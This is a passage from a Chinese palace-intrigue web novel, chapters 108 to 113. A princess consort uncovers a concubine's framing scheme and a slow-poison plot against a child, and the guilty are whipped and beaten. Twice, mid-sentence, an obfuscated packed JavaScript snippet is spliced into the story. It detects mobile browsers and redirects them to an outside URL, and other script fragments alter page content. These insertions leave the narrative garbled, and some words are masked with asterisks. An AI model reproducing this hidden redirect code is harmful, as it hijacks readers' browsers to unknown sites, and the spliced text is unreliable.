萧子景又垂下头,看着阮莹莹苍白的脸和毫无血色的嘴唇。 “父王——” 萧延还要再说,刚张开嘴巴,便被萧子景转头用眼神制止。 “好了,姨娘还伤着,别惊了她休息。” “王爷……” 萧子景话音未落,身后传来一声微弱的低吟,是阮莹莹醒了。 她睁大茫然的双眼,半晌才反应过来,朝着萧子景颤颤巍巍地伸出一只手去。 “王爷,您,您听妾身解释好吗……” 第一百零八章 你算什么东西? 一晃又是半个月过去,不知道那晚还发生了什么,总之,阮莹莹一夜之间恢复了往日的受宠。 萧子景又开始频繁出入春风居,补品和药物源源不断地搬进阮莹莹房中,很快她便能下地了。 与之相对的,则是苏姨娘和杨姨娘二人,被萧子景一声令下,关在房中静心思过,不许离开院落。 萧子景摆出了这样的架势,又开始给阮莹莹撑腰出气,叶晚竹一开始还等了几日,萧子景那边却偃旗息鼓,始终没有闹到潇湘院来。 隐风隐川也没有查出什么异样,叶晚竹便将此事暂且放下。 若他真的有什么心思,兵来将挡,水来土掩便是。 这段时间,叶晚竹都将心思放在了蕴秀阁等几间铺子,还有小花的身上,整日忙进忙出。 一日清晨,她正要出门,却被外面的喧嚣绊住了脚步。 “怎么回事?” 皱起眉头,叶晚竹看着院门外的景象。 小丫鬟果儿皱着眉头,快步走上前来。 “王妃,郭姨娘说她三日前丢了一支金簪,遍寻府中不得,只好来请王妃主持公道。” 郭姨娘带着丫鬟,已经在潇湘院外站了一个时辰,怎么劝都劝不走。 果儿皱着眉头,叶晚竹目光向外,这便和郭姨娘对上了视线。 “王妃,您帮帮妾身吧!” 片刻后,郭姨娘刚一进前厅,便双膝一软朝着叶晚竹跪倒下去,低声啜泣了几下。 叶晚竹歪头打量着郭姨娘。 萧子景前些日子纳妾又猛又快,叶晚竹也不上心,压根不知道这几房妾室都是什么人。 这位郭姨娘生得我见犹怜,此刻无奈垂泪的模样,更是让人心生不忍。 “王妃,那金簪是妾身入府时王爷所赠,若不是实在找不到,妾身也不敢来麻烦王妃……” 郭姨娘这时候又擦了擦眼泪,露出一双哭红的眼睛,巴巴地朝叶晚竹看来。 “你那金簪长得什么样子,可还记得在哪里不见的?” 回过神,叶晚竹顺口问道。 萧子景不仅有纳妾的银子,居然还有讨姑娘欢心的金首饰? 或许,可以从这首饰入手,查查萧子景的银子到底都是从什么地方来的。 叶晚竹的表情变得认真了些。 郭姨娘眼波流转,将金簪的样式简单说了一遍,又告诉叶晚竹是在自己屋中丢的。 “妾身让下人到处寻找——” “好了。” 眼见郭姨娘又要开口,叶晚竹一摆手,“不必再说,隐风,你今日留下,在府中找找这簪子的下落。” 她朝着隐风投去一道目光,后者微微颔首,显然明白了叶晚竹的意思。 “王妃。” 郭姨娘的声音却又响了起来。 “妾身已经让下人找了三日,府中每一个地方都找遍了……” 她的声音忽然低下去,抬眼飞快地朝叶晚竹瞟了一下,目光里写满心虚。 这是什么意思? 叶晚竹挑了挑眉,沉默地看了过去。 屋中安静下来,没人接话,郭姨娘双手互相绞着,鼓足了勇气才开口。 “如今只,只剩下王妃的潇湘院还没——” “放肆!” 书画明白过来,顿时一声怒喝。 “郭姨娘莫不是在说王妃偷你的簪子吧?这话你自己觉得可笑吗?” 王妃会对一支小小的金簪下手? 简直是笑话! “妾身不敢,不敢……” 郭姨娘被吓了一跳,身子哆嗦,连声否认,却又小心翼翼地抬起头来。 “但,但说不定那贼人也是这么想的,将金簪藏进王妃院中,等风头过了,再,再……” 再什么,郭姨娘说不出来了,被叶晚竹似笑非笑的目光盯得浑身发毛,自己都不知道该如何是好。 “原来郭姨娘是要搜查本王妃的院子。” 冷笑一声,叶晚竹换了个姿势,目光却依旧沉沉地锁在郭姨娘身上。 什么丢了金簪,什么遍寻不见,都是醉翁之意不在酒! “妾身,妾身绝无此意啊王妃!” 口中说着话,郭姨娘的一双眼睛却依旧躲躲闪闪地往叶晚竹面上看来,人也跪坐在地上一动不动。 究竟是何想法,简直是一目了然。 叶晚竹的目光一瞬不眨地落在郭姨娘身上。 “隐风。” 片刻之后,她缓缓开口,“你去——把郭姨娘院里的人看管好,再给我仔仔细细地搜屋。” 叶晚竹刚开口的时候,郭姨娘似乎是松了口气的模样,等听到后半句便控制不住地瞪大了双眼。 怎么会? “姨娘莫不会以为,本王妃会让你搜我的院子吧?” 对上郭姨娘难掩震惊的表情,叶晚竹忽然又笑了。 “你算什么东西?” 自己弄丢金簪,却要到她这里来寻安心? 叶晚竹冰冷的眼神剐得郭姨娘连连缩着脖子,却又红着双眼,不忿地开了口。 “妾身断不敢怀疑王妃,检查潇湘院也能让王妃洗脱嫌疑,王妃犯不着如此大动肝火吧。” “好一个洗脱嫌疑啊。” 拍了拍巴掌,叶晚竹站起身,踱步来到郭姨娘的面前。 “姨娘这是弄丢了东西,便觉得所有人都是贼?用不用本王妃送你出府,到大街上去问问路过的人,他们有没有偷你的簪子,又用不用到别人家去也检查一番?” 她居高临下地站着,郭姨娘只能仰着头,看向叶晚竹的眼底渐渐漫出更多情绪。 “王妃这是强词夺理!” “那姨娘就是别有用心。”俯下身子,叶晚竹紧盯着郭姨娘的眼睛。 郭姨娘不能自控地移开了视线。 见状,叶晚竹了然地轻笑一声。 一炷香后,隐风两手空空地回转,对上叶晚竹的视线,他幅度很小地摇了摇头。 郭姨娘院中的确没有金簪的存在。 “王妃安心了的话,可否让妾身也安心?”郭姨娘已经坐到了一旁的椅子上,看着叶晚竹和隐风的交流,忍不住也哼哼起来。 叶晚竹这才转回视线,依旧专注地看着郭姨娘,目光却开始在她身上来回打着转。 “王,王妃要干什么?” 眼神再次变得紧张,郭姨娘下意识地拢住自己的胸口。 “郭姨娘,”叶晚竹慢悠悠地收回目光,“现在坦白,还来得及。” 好端端的,郭姨娘没道理忽然来给自己找不痛快。 “妾身……妾身不知道王妃在说什——啊!” 第一百零九章 谁是真凶? 话说到此就没有必要再听下去了,叶晚竹一把揪住郭姨娘的前襟,猛地将她扯到了自己面前! “啊——” 郭姨娘又是一声尖叫,还没等她反应过来,便被叶晚竹一把探进怀中! 她倒吸一口冷气,与此同时,叶晚竹也捏着一个细长的东西后退半步。 “梅花式样,花蕊嵌着宝石,”叶晚竹眯眼看向自己手中,“咦?真奇怪,这好像就是姨娘三天前丢掉的那支簪子。” 郭姨娘双腿发软,一个趔趄又向后摔倒在地。 “原来是贼喊捉贼!”书画上前两步,“郭姨娘你好大的胆子,敢陷害王妃!” 叶晚竹蹲下身子,将那支金簪又往郭姨娘面前放了放。 “姨娘,你还有何话说?” 郭姨娘抖若筛糠,脸色惨白,一个字都说不出来。 “既然如此,那就公事公办。” 丢开金簪,叶晚竹站起身来。 “郭姨娘构陷王妃,胆大包天,陈嬷嬷,去请家法!” 陈嬷嬷应声而动,很快将那条熟悉的鞭子取了回来,又将郭姨娘按在地上受刑。 她手起鞭落,郭姨娘一身纤细娇弱的皮肤被抽得破碎不堪,趴在地上发出无比凄惨的哀嚎! 书画站在叶晚竹身后,一双眼睛却渐渐从狼狈的郭姨娘转到她带来的那几个丫鬟身上。 这些丫鬟显然也是不久前才被萧子景买进府的,眼见着如此凶残的场景,小丫鬟们都脸色发白,衣摆下的腿也不住地打着哆嗦。 书画的目光只聚在其中一人身上。 那丫鬟抖得比其他人都要厉害,一双眼睛死死盯着郭姨娘,呼吸急促,似乎随时都有可能晕过去。 她一只手死死揪着自己的袖子,却不像是单纯的紧张,而像是隔着袖子,攥紧了什么东西! 呼吸一顿,书画刚要上前一步,却见王妃背对着自己摇了摇头。 叶晚竹的目光也落在那个丫鬟身上,不过很快又若无其事地收了回去,仿佛她并没有看到那丫鬟又偷偷摸了好几下袖子的动作。 陈嬷嬷很快打完了十鞭,饶是她力气不大,郭姨娘也已经皮开肉绽地躺在地上,连呼痛的力气都没有了。 “送回院子里,好好反省,若是再有下次,就赶出府去。” 摆了摆手,叶晚竹让潇湘院的下人将郭姨娘抬走,自己走到那些丫鬟面前。 “你们是怎么伺候的,让姨娘犯下这样的糊涂?” 闻言,小丫鬟们顿时又跪倒了一片,连声认错。 “胳膊拧不过大腿,这次本王妃不罚你们,若你们谁敢再生出什么不该有的念头……” 语带威胁,叶晚竹的眼睛又落在那个小丫鬟头顶。 听着这话,那丫鬟抖得更加不能自已。 叶晚竹又一挥手,让这些战战兢兢的丫鬟离开。 那个小丫鬟走在最后,临出门前,控制不住地回头,往厅中看了一眼。 景平王妃正扭着头,和自己的随身丫鬟说着什么。 前脚迈出潇湘院,后脚逃过一劫的丫鬟们就纷纷拍着胸脯如鸟兽散,小丫鬟阿笙却放慢脚步,不一会儿就和自己的同伴拉远了距离。 直到四周再也没有声音传来,阿笙还是左右看了看,这才又朝着潇湘院的方向折返。 “你怎么又回来了?” 守在门前的还是果儿,一见阿笙,她便挥起扫把,“快走,你也想挨打是不是?” 阿笙吞着口水,看了一眼院中还没完全清洗干净的石板,开口声音细若蚊蚋。 “奴婢有话要单独和王妃说。” —— “又是阮姨娘?” 还是前厅,阿笙低着脑袋把自己的话说完,又等了半晌,才听见景平王妃的声音幽幽地传来。 “正是,”阿笙小心翼翼地弯着腰,“郭姨娘前几日天天到春风居去,昨天奴婢跟着伺候,不小心听见阮姨娘说,只要能把簪子放进王妃院中,她就能让王爷将王妃……赶出府去!” 上方闻言又没了动静,阿笙只能听见自己心口扑通扑通狂跳的声音。 “王妃,奴婢向您告密,郭姨娘肯定不会再容下奴婢的,”她抬起头,“还请王妃救奴婢一命!” 叶晚竹稳坐太师椅,目光朝着阿笙上下打量。 “这是自然,”她勾了勾唇,“但时候未到,你先回去,免得打草惊蛇,需要的时候,我会找你。” “奴婢都听王妃的!” 心下一喜,阿笙连忙屈膝行礼,顺势告退。 前厅空无一人,阿笙朝外走去的时候,正听见王妃招呼书画上前,压低声音要说些什么。 她加快脚步,很快走到同样空无一人的院里—— “王妃,她走了。” “都去了什么地方?” “小厨房,洗衣房,还有小花小姐屋中;她在水缸,药壶,还有小花小姐的衣裳和荷包上都洒了慢性的毒药。” 阿笙彻底离开潇湘院后,叶晚竹听着隐川的回报,嘴角勾起的弧度渐渐变得冷酷起来。 好个计中计。 用郭姨娘先吸引她的注意力,再放出阿笙,暗中行事。 这可不像是阮莹莹一个人就能做到的。 萧子景出于某种不能言说的理由,不来朝她下手,打算剑走偏锋,欺负小孩了? “小花在干什么?叫她过来。” 小花很快来到厅中,袖子上还沾着练字留下的墨渍。 郭姨娘的闹腾她已经听见了,却没想到还有后话,听叶晚竹一说,小花的脸色忍不住暗了暗。 “哪个是阿笙?”她磨着牙,“我现在就去揍她!” 敢给她下毒? 还有那个郭姨娘!更是居心不良! 小花撸着袖子,叶晚竹却朝她招了招手。 “阿笙和郭姨娘都是听话办事的,打了她们怎么够解气?” 听着她的话,小花双眼一亮。 “娘亲,您又有好主意了,是不是?” 娘亲最聪明了! 叶晚竹摸了摸小花已经养出一层肉的脸蛋。 “确实,”她压低声音,“这一次,你来亲手抓出这个人,狠狠地教训他,怎么样?” “我真的能吗?”小花眨了眨眼,带着一丝顾虑。 要是她说,这个王八蛋肯定是…… “你能。” 叶晚竹点头的动作没有半分迟疑。 “一切后果,我来承担。” 第一百一十章 王妃中毒啦! “姨娘,我扶着你走,慢点!” “延儿真乖……” “还是父王来吧。” 一日清晨,春风居中,刚用过早饭,萧子景陪着阮莹莹在院子里散步恢复伤口,萧延亦步亦趋地跟在一旁。 打眼一看,倒是幸福的一家三口。 阮莹莹额头上的伤已经好得差不多了,却留下了一块浅浅的疤痕,换了发型遮着,也还是能看出几分。 她脸色不算太好,脚下的步伐也不快,时不时便要停下来休息片刻。 汗珠沁出,萧子景用手帕替她擦去,目光落在她的伤疤上,又暗了几分。 “累了就坐会儿吧。”他挽住阮莹莹的胳膊,声音越发温存。 阮莹莹摇摇头,正要说些什么,忽然听见一阵脚步声在外面响起,紧接着,乱哄哄的喊声和争吵声也跟着传来。 “怎么回事?” 萧子景顿时皱紧了眉头。 “不是说了吗,姨娘需要静养,这是谁在发疯?” 门前的小丫鬟转头就往外跑,很快折返回来,带着一脸惊慌失措。 “王王王爷,”她嘴唇直哆嗦,“是王妃,王妃的侍卫,把郭姨娘和院里的下人都抓到潇湘院去了!” 彼时几人已经回到屋中,阮莹莹坐在椅子上,眼神闪了闪。 “放肆!” 萧子景则是霍地站起身,“她又要干什么?为何抓人?” 小丫鬟看见隐风隐川这对凶神,哪里敢上前,躲在一旁看了个大概,这会儿结结巴巴地答不上话。 “王爷。” 夏至及时走进了屋中。 “潇湘院那边说,郭姨娘胆大包天,竟然敢给王妃下毒,王妃要好生处置。” “怎——” 萧子景瞪大双眼,一句话还没出口,便被他紧紧地又吞了回去。 “郭姨娘一直在喊冤枉,王爷,要不您去瞧瞧?王妃那边的阵仗可是不小。” 夏至依旧垂着头,语气平静,萧子景闻言眉头一皱。 “莹莹,”他转过身,“我得去看看。” “正事要紧,王爷快去吧。” 露出体贴笑容,一如往常,阮莹莹温声朝萧子景道。 “我在这里陪姨娘!”萧延连忙挺了挺胸脯。 “好,”萧子景点点头,“等父王回来,陪你们一起吃饭!” 他步履匆匆,转身离开,阮莹莹望着萧子景着急忙慌的背影,垂下眼睫,盖住眸底的暗色。 险些费了一条性命才换回萧子景的心意,可阮莹莹仍然觉得,萧子景对她有些心不在焉。 这段时日萧子景虽然整日留在春风居,可总是心思重重,时不时把自己关在书房,只和那个叫夏至的侍从单独说话,二人一呆就是一个时辰。 难道,萧子景真有那种说不出口的—— 思绪意乱,阮莹莹连忙晃了晃脑袋。 她怎么能中了叶晚竹的奸计! 况且,这府中还有这么多的妾室姨娘呢! 想到这儿,阮莹莹的神情越发黯淡。 什么山盟海誓,只此一人。 全都是假的! 可恨她已经入了景平王府,抽身来不及了,只能再忍忍。 等她重新站稳脚跟,这些碍眼的贱人,都得消失! “姨娘,你没事吧?” 萧延这时候上前,眼巴巴地看着阮莹莹,眼神中露出了关切。 又摇了摇头,阮莹莹眸光一闪,抬手摸上萧延的脑袋。 “延儿想不想知道,外面到底怎么回事?” —— “怎么回事?” 萧子景大步流星地走在前往潇湘院的路上。 四下无人,他死死皱着眉头,和夏至说话时语气激烈。 “叶晚竹怎么会找到郭姨娘身上?还有,中毒的怎么不是那个野种?” 说好的声东击西,暗度陈仓呢? 怎么没有一点是成功的? “你怎么办的差?”他的质问声越发严厉。 夏至依旧垂着脑袋,小跑着才能跟上萧子景的脚步。 他沉默不语,显然也不知道具体都发生了什么。 郭姨娘的院子里空无一人,却一片狼藉,萧子景走过大门,又加快了脚步。 靠近潇湘院,这里终于又热闹起来。 只是好像有点热闹得过了头。 到处都是哭声,萧子景刚一进院子,便被冲天的血腥气顶得后退两步,险些摔了个跟头。 勉强扶住廊柱才站稳,萧子景再一抬头,又和眼泪横流的陈嬷嬷对上了视线。 “这,这怎么回事?”他一指陈嬷嬷手中端着的一盆血水。 陈嬷嬷看着萧子景的目光近乎仇视。 “郭姨娘给王妃下了剧毒,王妃还不知道能不能救回来,王爷这会儿应该心满意足了吧!” “什么?” 萧子景眸光大震。 叶晚竹要,要死了? 陈嬷嬷撞开他大步走向院外,萧子景这才看清院子里的景象。 潇湘院的下人们人人手里拿着带血的东西,衣裳,床单,还有更多盆的血水,忙乱而无措地从叶晚竹屋中走出。 房门开开关关,依稀能听见屋中传来惊慌的呼喊声。 而隐风站在院子一旁,目光森冷,郭姨娘院中的下人全都瘫倒在地,被吓得不轻。 郭姨娘本人脸上全是红痕,趴在地上一脸恐慌。 “王爷!”她一眼就看见了萧子景,“救我啊王爷!那药——” “住口!” 萧子景还没反应过来,夏至先怒吼一声。 “竟敢设计王妃!” 郭姨娘先是一愣,而后眼神倏地闪动起来。 “王,王爷……”她不可置信地看着萧子景。 萧子景大步上前,一脚踢在郭姨娘背上! “你这贱妇,好大的胆子!” 沉声怒吼着,萧子景这会儿却感到自己浑身哆嗦,脑子也一片空白。 看这样子,叶晚竹好像真的要不行了,若是事后追究起来,只消顺着郭姨娘往下一查…… 萧子景哆嗦得更加厉害起来。 “你给王妃下了什么毒?可有解药?”夏至的声音这时候又响起,“趁一切还能挽回,快把药交出来!” 解药? 郭姨娘的脑子一片混乱,仰着脑袋,呆滞地看着夏至。 这不都是他亲手送来的药吗? 她怎么知道有没有解药? 再说,说好的这是慢性毒药,只会一点一点要人性命,绝对不会被发现的呢? 萧子景也瞪着郭姨娘。 这倒霉的女人,是不是自作主张,换了药? “王妃——!” 第一百一十一章 敢害王妃?打死你! 骤然拔高的尖厉嘶吼忽然从屋中传来。 萧子景身子一震,回过头看着叶晚竹的房间,目光难以置信。 这哭声,这动静…… “娘亲?” 又一个颤抖着的声音响起,萧延张大嘴巴,直勾勾盯着仍在哭嚎的房间,一步一步走进了潇湘院。 娘亲真的**? 萧延不敢相信这动静,脚下越走越快,忽视了萧子景的喊声,就要往屋中去。 他要亲眼看看! 还没等萧延走到廊下,房门砰地一声被大力推开,撞在墙上发出好大的动静。 一个影子旋风一样冲了出来,又在看见萧延之后猛地停下脚步。 小花穿着带血的衣裳,一张脸涨得通红,表情也很难看。 “我娘呢!”萧延二话不说就要往屋中去。 “滚,滚蛋!” 小花飞起一脚,把萧延踢得一屁股坐倒在地! “从前怎么不见你来看望娘亲?出事了才来喊,装什么装!” 双手叉腰,小花怒瞪萧延。 萧延这会儿却没有和小花斗嘴的打算,拍拍屁股起身又要往屋中去。 他不信! 冷笑一声,小花扬手一个大耳光扇上了他的脸! “我说了,滚开!” 气势汹汹地又踹了萧延一脚,小花三步并做两步冲到院中,直奔萧子景这边而来。 她一双眼睛瞪得极大,里面满是凶光,龇牙咧嘴,好像随时都会给看见的人狠狠来上一口! “是你害了王妃!” 一把扑到郭姨娘身上,小花拳脚并用,揍得郭姨娘停顿了片刻才想起自己还能惨叫。 “不是我,不是我啊!” 郭姨娘也没想到,一个小姑娘竟然有这么大的力气,尖叫着想跑都跑不脱! “不是你是谁?” 小花的拳头继续邦邦砸下,喊声混在其中都变得不甚明显。 “你来过潇湘院之后,王妃就**了,除了你还能是谁!” “你个骗子,我打死你给王妃报仇!” 郭姨娘最初挨打的部位已经麻木了,其他地方却还疼着,她一边哀嚎,一边害怕起来。 这小丫头,**好像不要命似的,一点儿都不留手啊! 她不想死! “是王爷让我来下毒的,是王爷!” 没费多少功夫,郭姨娘便哀嚎着朝萧子景的方向抬起手。 害死景平王妃的罪责,她一个人可承担不起! 小花立刻住了手,狼一样的眼睛又不加掩饰地瞪着萧子景去了。 “胡,胡说八道!” 萧子景愣是被看得结巴了一下,话才出了口。 “本王怎么会毒害自己的王妃?”他倒是越说越流利,“简直是无稽之谈!倒是你,莫不是仗着本王最近对你有所宠爱,就胆大包天了?” 事已至此,郭姨娘也冷笑起来。 “王爷当然没让我给王妃下毒,您要害的,不正是小花姑娘吗?” 她斜晲着似乎有些手足无措的小花,放轻了声音,眼底却有精光闪现。 “你与王妃非亲非故,却赖在王府不走,惹人讨厌。否则,王爷也不会出此下策,非要说的话,我看是你害死的王妃!” “就是!我娘是被你害死的!” 一直在房门前和隐川僵持的萧延这时候也冲了过来,要和小花推搡。 “要不是你,娘亲才不会——” 他一句话还没说完,小花又飞起一脚,这回踹得萧延硬生生后退了两步。 “啪”地一声,她又扇上了郭姨娘的脸! “我呸!你们这群不要脸的东西!” 跨步坐在郭姨娘身上,小花再次挥起拳头,拳拳都砸向她的脸。 “是我给王妃下毒的吗?是我要害人的吗?你说呀,你说呀?” “你自己是个傻子,连下毒都能下错,还好意思往我身上泼脏水!你要是个好人,会去给别人下毒吗?” “你们干了坏事,我什么都没干,然后说是我害死的王妃?” 抡起拳头,小花双目圆睁,狠狠砸上郭姨娘的嘴! “我现在就打掉你满嘴的牙,让你胡说八道!” 郭姨娘闷哼一声,硬是被打得双眼翻白,口吐白沫。 小花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582766|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利索地翻身站起,一双眼睛又追上了萧子景。 萧子景下意识地往后退了半步。 刚才这小野种的拳脚看得他眼皮直跳。 “是你给王妃下毒的。”小花站在原地没动,语气却是笃定的,“你要杀了王妃。” “本王不会做这样的事情。” 萧子景本不想和这野种纠缠,看了一眼虎视眈眈站在小花身后的隐川才开口。 “郭姨娘死到临头,想找个垫背的罢了。” “那郭姨娘说的**是从什么地方来的?”小花咬死不放,“郭姨娘不能随便出府,谁给她弄来的**?” 萧子景皱起眉,“这不是你——” “隐川!” 小花忽然拔高声音,“你去查!谁买的**,又是谁送到王府来的!” “害了王妃的人,一个都不能放过!” 隐川正要离开,郭姨娘虚弱的声音又响了起来,“是,是夏至……!” 郭姨娘挣扎着爬起身来。 她看出来了,萧子景要把这个罪名推到自己身上,这小姑娘却也不是个好对付的! “是夏至,”郭姨娘的语气越发认真,“药是他给我的!” 小花和隐川的眼神都朝着夏至而去。 夏至依旧垂着头,声音十分委屈。 “姨娘,您怎么能这样冤枉小的?且不说小的只是个下人,根本不知道怎么能弄到**;小的可是一直跟在王爷身边,从来没私自出过王府!” “不信的话,就请王妃院中的人去查好了,小的要是离开过王府干坏事,就让小的被天打雷劈!” 小花忍不住朝隐川看了一眼,后者绷紧了下巴,并未作声。 萧子景和身边的人的确没有作恶的证据,想来夏至正是知道这一点,才敢把话说得如此之满。 萧子景也挺起了胸膛。 “本王作证,夏至从来没有离开,郭姨娘,你还是好好想想,怎么解释谋害王妃的事情吧!” 说着话,萧子景别有深意的眼神朝着郭姨娘而去—— “让郭姨娘认下罪名,回头作保捞人?王爷这招,瞧着有些眼熟啊?” 第一百一十二章 让王爷失望了 心思被挑破,萧子景猛地跳了起来,像被踩了尾巴一样转头朝外看去! 这话听着已经够吓人的了,更可怕的还是说话的人。 “你,你你你……”萧子景浑身无力地看着叶晚竹堂而皇之地从潇湘院外,大步走了进来! “你没死?”他失声大喊,目光下意识地往房间方向看去。 叶晚竹大步流星,走得十分利索,一点儿**的迹象都没有。 “是啊,我没死,是不是让王爷失望了?” 在萧子景面前站定,叶晚竹笑颜如花,还朝着他眨了眨眼睛。 萧子景猛烈地哆嗦了一下,好像见鬼了一般。 “你竟然骗了本王!”他忍不住皱眉低喝,心中却五味杂陈。 叶晚竹没死,不用惹上官司了。 可她怎么就没死呢…… “放开我!放开!” 就在这时,萧子易被反绑着双手,被陈嬷嬷推推搡搡着带到了院中。 他不住地挣扎着,可惜却是无果。 “你们要干什么!” 在叶晚竹面前站定,萧子易的脸已经涨成了紫红色,目眦欲裂地怒吼着。 “大哥,我要是你,就不会这么问。” 叶晚竹笑眯眯地看着萧子易的模样,仿佛一点儿也没发现他正在咆哮。 “毕竟你为什么会在这儿,自己最清楚了,不是吗?” 萧子易愤怒地用鼻子喷着气,眉宇间全是戾色,再也不见平日的温和。 “我什么都不知道,只知道你忽然闯进静心阁,连一句话都不说,就把我绑了带到潇湘院来!” 他口沫横飞,“叶晚竹,你真以为你能无法无天不成!” 叶晚竹静静地看着他发狂的模样,片刻后却越发笑容灿烂。 她甚至还笑出了声。 “萧子易,本王妃想给你一个体面,没想到,你是这样给脸不要脸的。” “你真以为你做的有多么天衣无缝?真以为本王妃手下的人是吃干饭的,连一点**的来源都查不清楚?” “还是说……其实你才是觉得,自己即将可以无法无天的那个人?” 挑着眉头,叶晚竹的表情越发不怀好意。 萧子易张了张口,豆大的汗水开始顺着脸颊,不断地滑落下来。 “这**京中没有,大哥是怎么弄到的?”叶晚竹上前一步,抱起双臂。 小丫鬟阿笙在潇湘院下药的举动被发现后,隐风跟了几日,便将一切情况摸了个清清楚楚。 无论阿笙还是郭姨娘,都是按照萧子景的安排来行事,而萧子景为了洗脱嫌疑,整日呆在府中,外出准备**的,便是萧子易。 叶晚竹的确有一点没想到,那就是萧家这对兄弟竟然还能凑在一起狼狈为奸。 她一时间也不知道这是一种什么样的精神。 等隐风盯着萧子易,却又发现了更多不对劲的地方。 阿笙放在潇湘院的不是一般的**,服用后从外表上看不出端倪,人却会慢慢虚弱下去,直到最后毒发,无药可医。 除非开棺验尸,否则旁人看去也只会说是大病而亡。 叶晚竹只从天清子大师的藏书里看到过这样的描述,这还是头一遭亲眼见到如此隐秘的**。 这样的东西不可能在京中任何一个药房买到,而萧子易手中的**,是他在鸿宾楼从一个神秘人手中拿来的。 那人一直带着兜帽,前往包间的时候被里三层外三层地保护着,身边不乏高手,就连隐风都不敢贸然靠近。 隐风盯梢的这段时间,萧子易一共和那人见了三次面。 叶晚竹毫不怀疑,这个计划真正的幕后之人,正是这个神秘的兜帽人。 是谁如此处心积虑,就为了害小花这样一个寂寂无名的孩子? 直觉告诉叶晚竹,此事没这么简单。 另一边,听着叶晚竹问出这个问题,萧子易抿着嘴唇,额头上的冷汗骤然增加了。 “大哥很紧张?”叶晚竹见状又往前走了一步。 萧子易喉头滚动,下意识地朝萧子景的方向看了过去。 萧子景目光错愕,仿佛压根就听不懂叶晚竹和萧子易的对话。 “什么**?这到底是怎么回事?” 不想和他装傻,叶晚竹转头又盯住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582767|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了萧子易。 “大哥要是不想说,那本王妃便只好将你也送到大理寺去了,或许还能和大嫂做个伴。” 萧子易咬紧牙关瞪着叶晚竹,半晌后才不情不愿地开口。 “是我托人从南边带回来的。” “大哥托了什么人?又是什么时候去办的这件事情?” 叶晚竹的追问紧随而至。 萧子易眨眼的频率变得飞快,呼吸也跟着急促起来。 叶晚竹不错眼珠地盯着他的一举一动。 “王妃!您看,小的是冤枉的吧!” 夏至的声音忽然**两人之间,他上前一步,扑通一声重重地跪倒在叶晚竹面前。 “小的根本没有给郭姨娘送过**,这件事和小的,还有王爷,都没有一点关系啊!” 说着话,夏至又忿忿地朝萧子易看了一眼,那意思倒是非常明确。 是萧子易假借他的名头给郭姨娘送了**,也是萧子易欺瞒郭姨娘,让她来给小花下毒。 好端端的,萧子易来为难小花做什么? 这个说法简直一点都站不住脚好不好! 连同郭姨娘本人在内,院中众人都皱起了眉头,朝着夏至身上打量过去。 为了给景平王脱罪,他连这种办法都想出来了? 萧子易一直紧绷着的后背却松弛下来,片刻后,朝着叶晚竹垂下了脑袋。 “是**的,”他忽然口风一转,“柳氏入狱,我心有不满,却对王妃奈何不得,只能想办法报复王妃的身边人。” 闻言,众人越发狐疑。 这话听起来更不对劲了! 夏至信口开河也就罢了,毕竟是为了自己的主子;可萧子易承认自己下毒,能有什么好处不成? 叶晚竹眼底闪过一丝微光,又很快恢复平静。 看来,萧子易能得到一些她现在还不知道的好处,亦或是能减少损失。 是不是与那个神秘人有关? 这件事,越来越好玩了。 笑容越发浓郁,叶晚竹拖长音调哦了一声。 “既然如此,那,大哥准备好接受惩罚了吗?” 第一百一十三章 王爷……不行? 萧子易闻言,立刻又绷紧了一身的皮肉。 他看了一眼叶晚竹,倒是并未开口,无声地等待着。 左右也不过就是又一顿打。 他忍得住! 见萧子易这副视死如归的模样,叶晚竹又笑出了声。 她围着萧子易转了两圈,灼灼的目光落在他身上,萧子易肉眼可见地变得更加不安。 “你,你要干什么?” “当然是在想,要怎么样才能让大哥长点记性了。” 语气和动作一样不紧不慢,叶晚竹伸出手掰着指头。 “挨打,大嫂被抓,萧卓萧然被牵连,大哥,你要不要自己数数,大房的人跟着你,已经倒霉了多少回?你竟然还敢来算计我?” 萧子易的脸先是煞白,片刻后又渐渐涨红了。 “你还敢提!”他咬紧牙关,瞪着叶晚竹的眼神满是怨愤。 “我为什么不敢提?”叶晚竹嗤笑,“难道是我闲得手痒去算计别人,结果自讨苦吃的吗?” 不等萧子易再说话,书画从屋中小跑着出来,手里举着的自然是那根熟悉的金杖。 萧子易转头看了一眼,朝着叶晚竹抬起了下巴。 “来吧,”他眼神不屑,“棋差一着,任凭王妃处置!” “你在装什么!” 萧子易话音未落,小花先跳起来给了他一脚。 “不知道的还以为你是受委屈的大英雄呢!搞清楚,是你犯贱被抓了好不好!” 萧子易闷哼一声,看着小花的眼中写满阴鸷。 “小孩,你有没有听说过一句话?”他声音轻柔,却透着恶意,“风水轮流转?” “我只听过作恶多端,就该**。”小花学着他的样子把下巴一抬。 一个下毒**的**,吓唬谁呢! “你……” 恫吓没成功,萧子易这边刚一噎,钻心的疼痛骤然袭了上来! “当着我的面儿,欺负我的女儿,大哥,你是当真打算无法无天了啊。” 收回金杖,看着萧子易痛苦地半弯下身子,叶晚竹又补了一脚,将他踹倒在地! 还没等萧子易回过神,剧痛再次从膝盖传来,他无法忍受地嚎叫出声! “叶晚竹!你,你要干什么!” 萧子景眼皮猛跳,看着叶晚竹再次挥动金杖,狠狠抽在萧子易腿窝的动作。 “都是因为有这两条好腿,才能让大哥走来走去,四处生事。” 